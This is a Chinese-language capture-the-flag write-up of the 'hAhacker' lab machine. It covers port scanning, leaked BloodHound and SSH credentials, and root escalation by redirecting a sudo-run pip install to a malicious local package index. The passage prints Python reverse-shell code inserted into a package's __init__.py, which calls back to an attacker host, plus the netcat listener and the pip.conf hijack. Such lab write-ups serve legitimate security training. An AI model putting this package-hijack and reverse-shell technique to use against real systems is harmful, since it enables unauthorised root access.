

hAhacker

```
hel2zy /home/kali © 01:21
> nmap -sC -sS -p- 192.168.43.40
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-05 01:21 -0500
Nmap scan report for 192.168.43.40
Host is up (0.00042s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
|_http-title: Welcome to nginx!
8080/tcp  open  http-proxy
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: BloodHound
|_Requested resource was /ui
MAC Address: 08:00:27:09:E5:6D (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds
```

还有BloodHound的事，有意思

```

hel2zy /home/kali © 01:21
> feroxbuster -u http://192.168.43.40:8080/ -x php,html,js,txt,zip,bak

FERROX
by Ben "epi" Risher © ver: 2.13.1

Target Url http://192.168.43.40:8080/
In-Scope Url 192.168.43.40
Threads 50
WordList /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Codes All Status Codes!
Timeout (secs) 7
User-Agent feroxbuster/2.13.1
Config File /etc/feroxbuster/ferox-config.toml
Extract Links true
Extensions [php, html, js, txt, zip, bak]
HTTP methods [GET]
Recursion Depth 4

Press [ENTER] to use the Scan Management Menu™

404 GET 1l 4w 19c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 34l 139w 1365c http://192.168.43.40:8080/ui
301 GET 2l 3w 38c http://192.168.43.40:8080/ => http://192.168.43.40:8080/ui
200 GET 0l 0w 0c http://192.168.43.40:8080/health
200 GET 1l 21874w 791666c http://192.168.43.40:8080/ui/assets/index-CwBEdL3X.css
200 GET 67l 484w 42265c http://192.168.43.40:8080/ui/favicon-light.ico
200 GET 83l 490w 45012c http://192.168.43.40:8080/ui/favicon-dark.ico
200 GET 34l 139w 1365c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 3630l 198198w 4194304c http://192.168.43.40:8080/ui/assets/index-yGZ6cJW4.js (truncated to size limit)
200 GET 0l 0w 0c http://192.168.43.40:8080/ui/assets/
429 GET 1l 2w 15c http://192.168.43.40:8080/ui/assets/cache.php
429 GET 1l 2w 15c http://192.168.43.40:8080/ui/assets/templates.js
429 GET 1l 2w 15c http://192.168.43.40:8080/ui/assets/bin.txt
429 GET 1l 2w 15c http://192.168.43.40:8080/ui/assets/contact.txt

```

```
> feroxbuster -u http://192.168.43.40:8080/ -x php,html,js,txt,zip,bak
```

```

  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _
|_  |_  |_) |_) | /  `  /  \  \_/ | |  \  |_
|   |   | \ | \ | \_/  \_/ / \ | | |_/ |
by Ben "epi" Risher 🐼                                ver: 2.13.1

```

```

🎯 Target Url      | http://192.168.43.40:8080/
🚩 In-Scope Url    | 192.168.43.40
🚀 Threads         | 50
📖 wordlist         | /usr/share/seclists/Discovery/Web-Content/raft-medium-
directories.txt

```



```
404      GET      71      11w      146c Auto-filtering found 404-like response and
created new filter; toggle off with --dont-filter
200      GET      231      75w      615c http://192.168.43.40/
200      GET      915441  150366w  2505113c http://192.168.43.40/index.html
[#####] - 5s      233289/233289  0s      found:2      errors:2
[#####] - 5s      210000/210000  44238/s http://192.168.43.40/
```

不安全 192.168.43.40/index.html

| ChatGPT DeepSeek | 深度求索 Grok

美观输出 ☐

```
{
  "keyword": [
    "Gambio"
  ],
},
{
  "cms": "Bloomreach",
  "method": "keyword",
  "location": "header",
  "keyword": [
    "Bloomreach"
  ]
},
{
  "cms": "Bloodhound",
  "method": "keyword",
  "location": "header",
  "keyword": [
    "admin:oAA2a4WnLlPozQKXqLUiIyigvwrZGtQS"
  ]
},
{
  "cms": "Synology DiskStation",
  "method": "keyword",
  "location": "header",
  "keyword": [
    "Synology DiskStation"
  ]
},
]
```

```
{
  "cms": "Bloodhound",
  "method": "keyword",
  "location": "header",
  "keyword": [
    "admin:oAA2a4WnLlPozQKXqLUiIyigvwrZGtQS"
  ]
},
```

获得了bloodhound的账密，好了，现在80端口应该已经没有用了

192.168.43.40:8080/ui/explore?primarySearch=SEC.ORG-S-1-5-32-545&searchType=relationship&selectedItem=72&relationshipQueryType=group-memb...

搜索 寻路 </> 暗号

USERS@SEC.ORG

COOK@SEC.ORG MemberOf
JIM@SEC.ORG MemberOf
JOHN@SEC.ORG MemberOf
MOLY@SEC.ORG MemberOf
JOCK@SEC.ORG MemberOf
HACKER@SEC.ORG

DOMAIN USERS@SEC.ORG
DOMAIN COMPUTERS@SEC.ORG

对象信息

节点类型: 用户
显示名称: 黑客
对象 ID: S-1-5-21-2688985321-3766267280-2512124731-1999
管理员人数: 错误的
允许无约束委托: 错误的
创建时间: 2026-02-27 11:16 GMT+8 (GMT+0800)
描述: 用于审计测试的临时 Linux 访问权限。凭证: hacker / Hacker@123!
杰出姓名: CN=HACKER,CN=USERS,DC=SEC,DC=ORG
无需预先认证: 错误的
域名 (FQDN): 美国证券交易委员会
域 SID: S-1-5-21-2688985321-3766267280-2512124731
已启用: 真的
寻血猎犬最后收集到的数据: 2026-02-27T06:33:15.324642811Z
上次登录时间 (已复制): 未知
上次登录时间: 未知
寻血猎犬最后一次出现: 2026-02-27 14:33 GMT+8 (GMT+0800)
标记为敏感信息: 错误的

藏太深了（对我而言），翻了好久一个多小时才翻到，当时是因为想到bloodhound本身就是用来确定工具路径的，所以这里可能也是想模拟域渗透的过程？所以猜测提示可能在外层的机器上，本身bh也没有太多其他有用的内容，只能一个个翻了，结果还真翻到了。

做完之后找作者交流了一下，用户是可以直接用Neo4j 查询语言，列出全部的用户查看到hacker，但是当时不太熟悉没有想到

Q SEARCH PATHFINDING CYPHER

Saved Queries

`$ MATCH (u:User) RETURN u`

Auto-run selected query

Tag Save Run

ADMINISTRATOR@SEC.ORG
MOLY@SEC.ORG
KRBtgt@SEC.ORG
DEFAULTACCU
GUEST@SEC.ORG
JOHN@SEC.ORG
JIM@SEC.ORG
SEC.ORG-S-1-5-17
HACKER@SEC.ORG
NT AUTHORITY@SEC.ORG
COOK@SEC.ORG
LILY@SEC.ORG
JOCK

对象信息

Node Type: User
Display Name: hacker
Object ID: S-1-5-21-2688985321-3766267280-2512124731-1999
Admin Count: FALSE
Allows Unconstrained Delegation: FALSE
Created: 2026-02-27 11:16 GMT+8 (GMT+0800)
Description: Temporary Linux access for audit testing. Credential: hacker / Hacker@123!
Distinguished Name: CN=HACKER,CN=USERS,DC=SEC,DC=ORG
Do Not Require Pre-Authentication: FALSE
Domain FQDN: SEC.ORG
Domain SID: S-1-5-21-2688985321-3766267280-2512124731
Enabled: TRUE
Last Collected by BloodHound: 2026-02-27T06:33:15.324642811Z
Last Logon (Replicated): UNKNOWN
Last Logon: UNKNOWN
Last Seen by BloodHound: 2026-02-27 14:33 GMT+8 (GMT+0800)

hacker / Hacker@123!

```
Last login: Thu Mar 5 17:47:55 2026 from 192.168.43.5
hacker@hAhacker:~$ sudo -l
匹配 hAhacker 上 hacker 的默认条目:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

用户 hacker 可以在 hAhacker 上运行以下命令:
(root) NOPASSWD: /usr/local/sbin/adbbridge-maint
hacker@hAhacker:~$
```

ssh连上之后sudo -l查看一下权限，看到一个可执行文件

```
hacker@hAhacker:/usr/local/sbin$ ls -lah
总计 12K
drwxr-xr-x  2 root root 4.0K  2月28日 16:00 .
drwxr-xr-x 11 root root 4.0K  2月25日 22:55 ..
-rwx-----  1 root root  368  2月28日 16:00 adbridge-maint
```

可以无密码sudo执行，执行后发现是安装bloodyAD，并重启bloodyAD的一个文件，查了一下，这个是和py有关，当然直接看下载时的输出也能看出来那就查看一下pip文件

```
hacker@hAhacker:~/adbridge$ find / -iname "pip.*" 2>/dev/null
/home/hacker/.adbridge/pip.conf
/home/hacker/.pip/pip.conf（这个是我用hacker用户自己写的）
/usr/share/man/man1/pip.1.gz
/usr/share/doc/python3-pip/html/_sources/reference/pip.rst.txt
/usr/share/doc/python3-pip/html/_sources/cli/pip.rst.txt
/usr/share/doc/python3-pip/html/reference/pip.html
/usr/share/doc/python3-pip/html/cli/pip.html
```

看到了/home/hacker/.adbridge/pip.conf目录下有pip.conf文件，查看权限

```
hacker@hAhacker:~/adbridge$ ls -lah
总计 20K
drwxr-xr-x  4 hacker hacker 4.0K  3月 5日 19:27 .
drwx-----  7 hacker hacker 4.0K  3月 5日 20:10 ..
-rw-rw-r--  1 hacker hacker   74  3月 5日 19:27 pip.conf
drwxr-xr-x  5 root  root  4.0K  2月27日 16:37 venv
drwxr-xr-x  5 hacker hacker 4.0K  3月 5日 17:09 venv.bak
```

pip可写，测试之后也能得到这个就是bloodyAD安装时调用的pip。那么方向就对了，改pip.conf劫持下载的内容，执行恶意代码，然后重启bloodyAD时，调用恶意包执行恶意代码，但是这里我花了好长时间没有成功。

我一开始的想法是改成本地，然后写加的安装包执行，但是没有成功，各种报错也比较复杂，然后我卡了很久实在没办法，然后我想了一个笨方法，就是把这个程序安装的所有包都下到我的电脑上，然后在我的电脑上开一个相同的服务，让靶机在我的电脑上拉去恶意安装包，我只需要在正常的安装包的基础上添加反弹shell就可以了。

在__init__.py中添加反弹shell

```
from .network.config import Config, ConnectionHandler

import socket,os,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.43.38",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])

__all__ = [
    "Config",
```

```
"ConnectionHandler",  
]
```

注意，这里要在init文件中添加，原先我确实不知道，作为一个py的包，被调用时，一定会被执行的是init文件，因此应该在这个文件中写入shell，这里我试了不少错误的地方，一直弹不回来浪费了不少时间

2 Python 包真正可能执行代码的位置

在 Python 打包生态里，代码执行通常发生在 **Python 文件**，而不是 `.toml` 配置文件，例如：

位置	什么时候执行
<code>setup.py</code>	构建或安装包时
<code>__init__.py</code>	模块被 <code>import</code> 时
CLI entrypoint (<code>console_scripts</code>)	用户运行命令时
自定义 <code>build backend</code>	构建 <code>wheel</code> 时

然后本地搭服务我也要提一下，py安装包的时候有两种文件格式，一种是tar.gz一种是whl，两种其实都是压缩包，但是whl会更快一点，这里可以直接python -m build打包成whl，也可以直接压缩成tar.gz，py安装时会优先whl，如果没有whl然后会下载tar.gz

改完之后启动服务

```
D:\bloodyad-2.5.4>python -m pypiserver run -p 8000 D:\bloodyad-2.5.4  
Bottle v0.12.25 server starting up (using AutoServer(handler_class=<class  
'__main__.wsgiHandler'>))...  
Listening on http://0.0.0.0:8000/  
Hit Ctrl-C to quit.
```

改pip.conf

```
[global]  
index-url = http://192.168.43.5:8000
```

```
hel2zy /home/kali 01:21  
> nc -lvp 4444  
listening on [any] 4444 ...  
connect to [192.168.43.38] from (UNKNOWN) [192.168.43.40] 40018  
root@hAhacker:/tmp# 传cd /  
cd /  
root@hAhacker:/# cd /root  
cd /root  
root@hAhacker:~# cat root.txt  
cat root.txt  
flag{root-a2456bac30fc835d1c406c02f1fd98b9}  
root@hAhacker:~#
```

还有彩蛋，user和root都md5解一下

Version 9.20.3

Last build: 6 years ago - v9 supports multiple inputs and a No...

Options

About / Support

Operations

md5

MD5

MD4

SHA3

Favourites

Data format

Encryption /

Recipe

MD5

STEP

BAKE!

Auto Bake

Input

length: 14
lines: 1

fuckbloodhound

Output

time: 1ms
length: 32
lines: 1

0f983d31e468b53950efda13b14896bd

密文: a2456bac30fc835d1c406c02f1fd98b9

类型: 自动

查询

加密

查询结果:

fuckad

作者对域的怨念有点儿大